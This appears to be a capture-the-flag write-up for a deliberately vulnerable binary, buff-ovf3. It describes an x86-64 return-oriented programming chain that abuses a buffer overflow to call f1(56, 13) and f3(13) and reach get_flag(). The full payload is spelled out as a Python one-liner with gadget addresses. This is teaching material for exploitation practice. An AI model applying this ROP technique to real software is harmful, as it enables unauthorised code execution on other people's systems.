Solution
By using the buffer overflow in gateway(), functions f1(56, 13) and f3(13) need to be called in this order, with those exact parameters. f3 is the one that actually calls get_flag(). Calling get_flag() directly shouldn’t work (a global variable is checked to make sure all steps were made).
x86-64 (64-bit) Solution
In x86-64, function parameters are passed through registers:
- First parameter:
RDI - Second parameter:
RSI
We need a ROP (Return-Oriented Programming) chain to:
- Call
f1(56, 13)by settingRDI=56andRSI=13 - Call
f3(13)by settingRDI=13
The code includes gadget functions that provide the necessary ROP gadgets:
gadget_pop_rdi: Containspop rdi; retat0x4013ddgadget_pop_rsi: Containspop rsi; retat0x4013ea
The exploit payload structure:
[18 bytes padding] +
[pop rdi; ret] + [56] + # Set RDI = 56
[pop rsi; ret] + [13] + # Set RSI = 13
[f1 address] + # Call f1(56, 13)
[pop rdi; ret] + [13] + # Set RDI = 13
[f3 address] # Call f3(13)
Run the exploit:
./exploit.sh | ./buff-ovf3
Or using Python:
python3 -c 'import sys; sys.stdout.buffer.write(
b"A"*18 +
b"\xdd\x13\x40\x00\x00\x00\x00\x00" +
b"\x38\x00\x00\x00\x00\x00\x00\x00" +
b"\xea\x13\x40\x00\x00\x00\x00\x00" +
b"\x0d\x00\x00\x00\x00\x00\x00\x00" +
b"\x6c\x13\x40\x00\x00\x00\x00\x00" +
b"\xdd\x13\x40\x00\x00\x00\x00\x00" +
b"\x0d\x00\x00\x00\x00\x00\x00\x00" +
b"\x16\x13\x40\x00\x00\x00\x00\x00"
)' | ./buff-ovf3